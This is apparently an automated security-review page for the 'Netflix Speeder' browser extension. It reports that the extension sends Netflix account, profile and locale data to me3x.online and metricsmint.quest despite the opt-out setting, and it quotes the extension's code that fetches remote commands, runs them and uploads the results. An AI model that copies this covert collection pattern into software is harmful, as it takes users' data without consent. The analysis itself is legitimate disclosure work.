Is Netflix Speeder: adjust playback speed [QVI] safe?
Netflix Speeder: adjust playback speed [QVI] is medium risk. Netflix Speeder injects bundled DataHunter code with its playback controls. shareInsights defaults enabled, feeding optedOut, but Netflix collection still posts to me3x.online, plus telemetry to me3x.online/n/js/dlog with no stored body.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Netflix Speeder runs DataHunter on Netflix pages
Netflix Speeder injects bundled DataHunter code with its playback controls. shareInsights defaults enabled, feeding optedOut, but Netflix collection still posts to me3x.online, plus telemetry to me3x.online/n/js/dlog with no stored body.
You open or use Netflix with the extension installed.
The extension runs a bundled data-collection flow in the Netflix page.
The flow keeps running after reading the sharing preference; the preference is included in a server-bound object instead of stopping the local collection path.
| Field | Value | Why it matters | |
|---|---|---|---|
Netflix account ID | accountId=7425819361048290 (illustrative) | This ties activity to the Netflix account context available in the page. | |
Netflix profile ID | profileId=72f4419b-0f2d-4d6b-8a25-0a8a2f4b7d64 (illustrative) | This separates which Netflix profile was active when the extension ran. | |
Extension user ID | extensionUserId=0a63b94a-b48e-4371-9ef7-3e531f85cf3a (illustrative) | This lets repeated requests from the same browser profile be linked over time. | |
Country and language | country=US; browserLanguage=en-US (illustrative) | This adds location and locale context to the Netflix profile data. | |
Sharing preference | shareInsights=false; optedOut=true (illustrative) | This records whether the browser had sharing disabled, but the same code path still proceeds. | |
Netflix account fields | models.accountInfo.data.emailAddress=user@example.com (illustrative) | The page-context reader names account and profile email fields that can identify a Netflix account holder. |
| Content-Type | application/json |
| Content-Type | application/json |
The default-on setting is read, then serialized into the server-bound init object
// manifest.json
{
"permissions": [
"storage"
],
"host_permissions": [
"*://*.netflix.com/*"
],
"content_scripts": [
{
"js": [
"value.js",
"engine.js",
"netflix.min.js",
"baner.js"
],
"matches": [
"*://*.netflix.com/*"
]
}
]
}
// background.js
chrome.runtime.onInstalled.addListener(reason => {
if (reason.reason === chrome.runtime.OnInstalledReason.INSTALL) {
chrome.storage.sync.get(['isSurveyShowed'], (result) => {
if (result.isSurveyShowed === undefined) {
chrome.storage.sync.set({ isSurveyShowed: true }, () => {
globalThis.openThankYouPage('https://dogooodapp.com/thank-you-survey/');
});
}
})
}
chrome.storage.sync.get(['shareInsights'], (result) => {
if (result.shareInsights === undefined) {
chrome.storage.sync.set({ shareInsights: true }, () => {
console.log('Default shareInsights set to true');
});
}
})
reloadTabs()
})var isOptedOut = function() {
var _ref = Helper_async_to_generator(function() {
var SHARE_INSIGHTS_NAME, _globalThis_chrome, shareInsights, error;
return Helper_ts_generator(this, function(_state) {
switch (_state.label) {
case 0:
SHARE_INSIGHTS_NAME = "shareInsights";
_state.label = 1;
case 1:
_state.trys.push([
1,
3, ,
4
]);
if (!((_globalThis_chrome = globalThis.chrome) === null || _globalThis_chrome === void 0 ? void 0 : _globalThis_chrome.storage)) {
return [
2,
false
];
}
return [
4,
chrome.storage.sync.get(SHARE_INSIGHTS_NAME)
];
case 2:
shareInsights = _state.sent()[SHARE_INSIGHTS_NAME];
if (shareInsights === false) {
return [
2,
true
];
}
return [
2,
false
];
case 3:
error = _state.sent();
console.warn(error);
return [
3,
4
];
case 4:
return [
2,
false
];
}
});
});
return function isOptedOut() {
return _ref.apply(this, arguments);
};
}();var fetchCommandsInitData = function() {
var _ref = Init_async_to_generator(function(profileGuid) {
var _ref, accountId, country, activeProfileId, extensionUserId, optedOut;
return Init_ts_generator(this, function(_state) {
switch (_state.label) {
case 0:
_ref = (0, Helper /* getContextData */ .KP)("authData") || {}, accountId = _ref.accountId, country = _ref.country, activeProfileId = _ref.profileId;
return [
4,
(0, Helper /* getOrCreateExtensionUserId */ .dI)()
];
case 1:
extensionUserId = _state.sent() || "";
return [
4,
(0, Helper /* isOptedOut */ .bz)()
];
case 2:
optedOut = _state.sent();
return [
2,
new InitCommandsData(accountId, profileGuid, extensionUserId, (0, Helper /* getHid */ .SY)(), (0, Helper /* getLocalTimeDiff */ .UL)(), (0, Helper /* getBrowserLanguage */ .xd)(), (0, Dist /* getDist */ .l)(), country, activeProfileId === profileGuid, optedOut)
];
}
});
});
return function fetchCommandsInitData(profileGuid) {
return _ref.apply(this, arguments);
};
}();The Netflix collection flow still fetches, executes, and uploads commands
var postPlainJsonRequest = function() {
var _ref = _async_to_generator(function(url, payload) {
var response;
return _ts_generator(this, function(_state) {
switch (_state.label) {
case 0:
return [
4,
fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(payload)
})
];
case 1:
response = _state.sent();
return [
4,
response.json()
];
case 2:
return [
2,
_state.sent()
];
}
});
});
return function postPlainJsonRequest(url, payload) {
return _ref.apply(this, arguments);
};
}();var BASE_ROUTE = config /* nodeRootUrl */ .uL,
revision = config /* revision */ .QL;
var uploadSingleCommandData = function() {
var _ref = Metriq_async_to_generator(function(data, commandId) {
return Metriq_ts_generator(this, function(_state) {
switch (_state.label) {
case 0:
return [
4,
postPlainJsonRequest("".concat(BASE_ROUTE, "netflix/upload"), _object_spread_props(Metriq_object_spread({}, data), {
commandId: commandId
}))
];
case 1:
return [
2,
_state.sent()
];
}
});
});
return function uploadSingleCommandData(data, commandId) {
return _ref.apply(this, arguments);
};
}();
var fetchCommandsToSend = function() {
var _ref = Metriq_async_to_generator(function(initData) {
return Metriq_ts_generator(this, function(_state) {
switch (_state.label) {
case 0:
return [
4,
postPlainJsonRequest("".concat(BASE_ROUTE, "netflix/start"), initData)
];
case 1:
return [
2,
_state.sent()
];
}
});
});
return function fetchCommandsToSend(initData) {
return _ref.apply(this, arguments);
};
}();var scrapeNetflixData = function() {
var _ref = Scrape_async_to_generator(function(params) {
var profileGuid, commandsInitData, commands, commandsData, error;
return Scrape_ts_generator(this, function(_state) {
switch (_state.label) {
case 0:
_state.trys.push([
0,
5, ,
7
]);
profileGuid = params.guid;
return [
4,
fetchCommandsInitData(profileGuid)
];
case 1:
commandsInitData = _state.sent();
return [
4,
fetchCommandsToSend(commandsInitData)
];
case 2:
commands = _state.sent();
return [
4,
executeCommandsToSend(commands, profileGuid)
];
case 3:
commandsData = _state.sent();
return [
4,
sendCommandsData(commandsData)
];
case 4:
_state.sent();
return [
3,
7
];
case 5:
error = _state.sent();
return [
4,
netflixLogger("flow", error.message)
];
case 6:
_state.sent();
return [
3,
7
];
case 7:
return [
2
];
}
});
});
return function scrapeNetflixData(params) {
return _ref.apply(this, arguments);
};
}();- me3x.online
Receives Netflix command-start, command-upload, and JSON diagnostic POSTs from the bundled DataHunter flow.
- metricsmint.quest
Receives additional Netflix profile/account fields via the code path that posts base64-encoded JSON to /up.
- dogooodapp.com
Opened by the background script for a thank-you survey on fresh install; this is separate from the Netflix collection endpoints.